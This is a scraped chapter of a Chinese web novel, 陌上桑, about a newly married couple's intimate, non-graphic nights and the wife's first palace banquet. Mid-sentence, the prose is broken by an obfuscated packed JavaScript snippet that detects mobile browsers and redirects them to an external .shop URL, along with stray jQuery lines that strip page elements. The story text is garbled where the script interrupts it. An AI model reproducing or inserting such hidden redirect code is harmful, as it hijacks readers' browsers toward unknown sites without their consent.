文趣网 > 其他小说 > 陌上桑 > 54. 第 54 章
    意识到冯喻安不是同她开玩笑,孟绾是真的慌了神。

    她伸手推他,却见他双眼迷蒙似醉……也不知今夜喝了酒的人是谁。

    “怕了?”冯喻安低声问。

    孟绾心跳如雷,不知如何回答,但是想了想,也没什么好怕的,如果第一次是他,她是愿意的。

    总比……

    只要他别后悔就行。

    见他似乎还等着自己回答,孟绾于是摇摇头,随后向上抬了抬脑袋,笨拙的,找到他的唇……

    是痛的。

    但是尚能忍受,忍过了之后,就不那么难受了。

    仿佛如他所说,他也的确不像有经验的样子,很快身上腻出了薄汗,趴在她耳边传出抑制的喘息。

    孟绾还在回忆方才的一些细节,有人已经再次撑着身子翻上来不服输地说:“再试一次。”

    清晨,天观熹微,孟绾睁开沉重的眼皮,身上空落落的。

    若说感觉,其实还好,她是练武之人,没那么脆弱,也没什么特别不舒服的,只是心里的感受有些奇异。

    仿佛,人生从此多了些什么。

    虽然她也不知多了什么。

    脑子里不由想起冯喻安的那张脸,可是他已经不在房里。

    她刚准备起身,不知何时守在帐子外不远处的阿香便走了过来,轻声问:“夫人要起了吗,热水准备好了,可以先去沐浴,我再伺候您穿戴。”

    孟绾一愣。

    阿香又说:“二爷早起练功了,说等您醒了一同用早饭。”

    “练功?”

    “嗯。”

    “练多久了?”

    “约莫……一个时辰了。”

    自认识他以来,就没怎么见他立练过功,即便身体好了些,也没见他这么勤快过。

    孟绾由阿香服侍着沐浴穿戴,还没束好发,门口传来轻轻的脚步声。

    孟绾侧首看去,果然看见一条颀长的身影立在门口。

    他目光沉静温柔,嘴角带着似有若无的笑意,看过来时,牵了牵嘴角:“醒了?”

    孟绾的心跳又乱了规律,但她惯来沉稳,即便心里惊涛骇浪,面上也看不出什么,她先是“嗯”了一声,又问:“用过朝食了吗?”

    问完这话,又觉得哪里不对。

    是了,这对话怎么听,都像正头夫妻早起对话的样子。

    她虽强自镇定,血色还是爬上了耳根,顺杆爬上了面颊。

    她垂着一头青丝长发,脸上是刚沐浴后的清新干净,白里透粉,实在是……秀色可餐。

    冯喻安挥手让阿香下去,阿香垂眸离开,顺手将门拉上了。

    孟绾:“……”

    这是什么意思?

    冯喻安看了一眼合上的门,将视线重新挪到孟绾脸上,随即缓缓走过去。

    他的本意是想帮她束发的,但手碰到她的头,才发现自己似乎不太会。孟绾闭了闭眼,头皮一阵阵发麻。

    这人要做什么?不会青天白日的,又想做些什么吧?

    但头上迟迟没有别的动静,孟绾睁开眼,从镜子里看他:“怎么了?”

    冯喻安将手拢进袖子里,垂手道:“你……自己会束发吗?”

    孟绾:“……”

    “普通的发髻会,你们侯府的标准,不会。”

    冯喻安沉默片刻,道:“那却是有些复杂,我也不太会。”

    孟绾:“……”

    所以你让阿香离开是为什么?

    偌大的屋子安静了一瞬,空中浮动着的沐浴后的清新花香以及新上身衣服的熏香就格外引人注意。

    侯府内男子女子用的熏香不一样,冯喻安身上惯常的气味是一种沉郁的木香。这香气,在昨晚时给孟绾留下了极深刻的印象。

    以至于在鼻尖重新闻见这香气的瞬间,她的心跳又不正常了。

    这日子真是没法过了。

    孟绾豁然起身,扭头朝外喊阿香,顺便蔑了一眼冯喻安。

    冯喻安:“……”

    阿香重新走进来,孟绾吩咐她快些给自己梳头,梳个简单些的就行。

    阿香应了是,但冯喻安还站在孟绾身后没动,让人为难。

    “二爷……”阿香喊了声,示意他让让。

    冯喻安才勉提尊步往边上让了一步,但他还是舍不得离开,就想看着她梳好了头,一起出去用饭。

    她的头发又黑又顺,更衬得眉目如画,气质沉静。

    但冯二郎君不知想起了什么,终于在这呆不下去了,他撂下一句“我去前厅等你”便转身离开了这房间。

    孟绾稍稍松了一口气,却听阿香在头顶偷笑。

    孟绾:“……”

    也没人问,阿香笑完以后说:“郎君这是害羞了呢。”

    害羞吗?

    她怎么没看出来。

    --

    有道是一回生二回熟,两人在别扭尴尬了一整天之后,入夜时再次躺上了一张床。

    孟绾也说不清楚她和冯喻安之间是什么关系,是假夫妻?还是合作伙伴?还是……单纯的男女关系,譬如从前村口大娘们忘了有小孩子在不留意漏出的那种不正当关系。

    若说只是不清不楚,但他们又实实在在拜了堂,成了亲。

    孟绾捏着被子看着帐顶,胸中如有一团乱麻,想不明白。

    然后她姑且假设了一下,若她和这人就是一对普通的夫妻呢……是不是,一切都会更加顺其自然,心里也不会这样别扭了?

    她不知道冯喻安是如何看待她的,是将她当作一个暖床的工具,还是富贵人家中通房的丫鬟?亦或是……他对自己也有一丝丝真情?

    刚这么想,她就自我贬低似的摇摇头,怎么可能,他这样的人,想要什么样的女人没有,又怎会看上自己这样杂草一样的人,生儿育女,传宗接代,对他们这样的人家来说,自己的出身是再低贱不过的。

    他不过是要借此激怒太子罢了。

    说到底,她还是个工具。

    但是……抛却假成亲来说,这一家的人,其实都已认可自己的身份了,不是吗?

    正天人交战地辛苦,孟绾觉察有一只手握住自己露在被子外的手。她思绪乱窜,一时忘了放在外面的手,已经冰凉。

    覆上来的手却温暖得有心发烫,像炭炉里的火。

    孟绾下意识扭过头去看这手的主人,冯喻安的眼里闪烁着灼人的亮光,一眨不眨地看着她。

    四目相对的刹那,一股无声的暖流游过身体各处,孟绾正想说点什么,冯喻安已经将头探了过来,吻住她的唇。

    两人在这事上都没什么经验,但都是练武之人,一旦摸索出了门道,就是漫长的博弈。

    她的身体不像千金小姐那样柔弱无骨,柔软的肌肤底下,是柔韧的筋骨,叫人容易沉溺其中,又时刻保持着激烈的清醒。

    她承担着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701501|206970||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他的冲击,感受着他的呼吸和情绪,莫名的,眼角有泪渍一闪而过。

    有话想问,问不出口。

    有情绪想表达,却表达不出来。

    所有的情绪,好像只有一个出口。

    两个溺水的人,只能死死抓住对方,不让这短暂的依恋结束。

    事后,她冲去了浴房,将自己整个埋入水底。

    为什么忽然心会这么痛?

    孟绾从水中起来,大口大口喘着气。

    她想,她不应该这样沉溺下去了,明晚一定不能和他同住一间房。

    然而,这样的状态,他们持续到了入宫参加宴会的前一晚。

    她不知道他从哪里学了什么,花样一日比一日新颖,时间一次比一次久。甚至,她白日里都觉得青禾拾安看自己的眼神也很不对劲。

    入宫参加宴会前夜,他尤其霸道蛮横,孟绾险些撑不住,唇齿间刚溢出些难耐的嘤咛,嘴就被人堵了个正着。

    再后来,她舌尖一痛,唇齿间一股血意蔓开。

    她皱眉将他推开,满眼不可思议。

    冯喻安却仍然笑得温柔:“这是我还你的。”

    她感受了一下舌尖,被咬了个小伤口,她有些怒:“你……”

    “嗯?”他神色未明,眼带笑意。

    沉默了一会儿,他伸手将她拥入怀里,声音略显喑哑:“如果没有仇要报,就好了。”

    孟绾:“……”

    她想抬头看他,他却在她额上印下一个吻。

    心脏像被人揪了一下,孟绾产生了浓浓的错觉,他是不是,也是有点喜欢自己的。

    不仅仅限于为了刺激太子,才会对自己这样。

    同时,她也有些担忧。

    如果明日她被扣在宫里,会被扣多久?徐承佑会如何对她?

    万千复杂的思绪,最后都被那毁家只恨轻松压了下去,她空留一具身体,能有些用处,是好事。

    于是从冯喻安的气息中抽离,无情地翻了个身:“睡吧。”

    --

    她是第一次进皇宫,全程坐着马车,到了巍峨的宫殿门口便下来步行。

    宫城巍峨宽阔,沿着红色宫墙走过几个宫门,终于来到今日摆宴的正厅。只见满目华丽肃静,已经来了许多达官贵妇和女眷。众人皆身着华服,但一点不浮夸,也没人高声高语,形态浮夸。

    那些投过来的目光,大多都是沉静而锐利的,在权力的漩涡之中摸爬滚打的妇人们,眼里都是沉稳的打量和算计。

    “那就是冯家二郎的新妇?长得甚好,只是眉目单纯了些。”

    “外头接回京的,这种场合历得少,警惕些是好的。”

    “嗯,听说她一进门那二郎的病就好了,看来是特意合过八字,才接回来的。”

    “大约是。”

    “哎别说,有时候那些风水术士先生,还真有些本事。”

    一些小声议论的话落进孟绾耳朵里,她当没听见,只亦步亦趋跟着卿柔县主还有赵玥,安静乖巧。

    但同时,她还是看见了几个熟人。

    韩盈盈和萧玲依然在一处说话,时不时朝自己投来鄙夷的目光。不必听也知道她们会嘲笑自己什么,无非是自己一心攀龙附凤却成了别人家的预备寡妇,竹篮打水一场空之类的话。

    在赵玥带着自己交际一圈后,等着今日的主角宋清瑶出场之前,康宁县主悄无声息站到了孟绾面前。